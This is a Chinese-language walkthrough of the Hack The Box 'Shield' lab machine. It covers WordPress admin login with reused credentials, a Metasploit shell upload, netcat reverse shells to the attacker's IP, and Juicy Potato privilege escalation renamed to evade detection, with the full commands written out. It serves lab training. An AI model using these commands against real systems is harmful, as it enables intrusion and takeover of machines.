Hack the box shield

这一台靶机需要用到上一台靶机的地方是上一台靶机数据库用户的密码
1.日常操作，NMAP扫ip nmap -sC -sV 10.10.10.29就扫出来一个80端口
2.浏览器页面源码审计，看到了wordpress wp-contents之类的路径，那么wordpress是八九不离十了，为了确认以下还可以扫一下路径，gobuster和dirsearch二选一
gobuster dir -u http://10.10.10.29 -w /usr/share/wordlists/dirb/common.txt
dirsearch -u http://10.10.10.29/
扫出/wordpress，尝试wp-login.php果然是默认路径没有改
admin:P@s5w0rd!（从上一台靶机得来）
登陆成功
3.到这有两个思路：后台改php，直接传小马，wordpress有一个比较危险的地方是主题可以直接编辑，点apperance下面的theme editor，
右侧可以直接更改php文件内容，这种可以直接上传shell，常规思路nc反弹马即可
或者msf大法，msfconsole
search wp_admin //所得到的那个模块是有账号密码的情况下直接得shell的
————————————————————————————————
use exploit/unix/webapp/wp_admin_shell_upload
set PASSWORD P@s5w0rd!
set USERNAME admin
set TARGETURI /wordpress
set RHOSTS 10.10.10.29
run
——————————————————————————————————
得到msf的shell，这里有个问题，就是msf的shell不稳定，过几分钟就会断，可能是靶机那设置了，所以需要把shell弹回本地
kali是带了能在windows上执行的nc的，路径在/usr/share/windows-resources/binaries/nc.exe
用find指令找也行 find / -name “nc.exe”
wordpress上传目录在wp_contents目录下的uploads文件夹，cd …/…/uploads
upload /usr/share/windows-resources/binaries/nc.exe
其实其他路径目测也能传，不知道为什么一定要传到这，可能有防护机制，过几分钟就把其他路径的文件删了
4.execute -f nc.exe -a “-e cmd.exe 10.10.14.50 7777” //10.10.14.50是你自己的IP，反弹shell到本地 -f执行nc -a 传参 -e 由nc去调用cmd
nc -lvvp 7777接收反弹回来的shell
5.这题没有用户flag，直接提权，sysinfo windows server 2016，考虑土豆提权，关于这个东西的原理，可以看这篇文章
https://www.freebuf.com/column/181549.html
https://blog.csdn.net/qq_26091745/article/details/105091686
反正我也没去深究，大概就是利用了NTLM验证的一个漏洞
下载地址：https://github.com/ohpe/juicy-potato，别git，git下来的要自己编译，直接点进Free potato里面下载Juicy potato
文章里也说了，已经对Juicy potato进行检测了，所以需要换名，
mv Juicy potato.exe js.exe
6.upload js.exe用于提权
echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe-epowershell.exe 10.10.14.50 1111>shell.bat//用于后面提权
kali:nc -lvvp 1111//接收反弹shell
js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337
//-t *：创建使用TokenW和User两种模式的进程
//-p：指定要运行的程序（无法传递带参数的命令，所以要提前用bat写好）
//-l：COM服务监听的端口
1337端口有可能不成功，可以-c {bb6df56b-cace-11dc-9992-0019b93a3a84}做替补
拿到root权限的shell
参考视频链接：https://www.bilibili.com/video/BV19y4y1M7gS/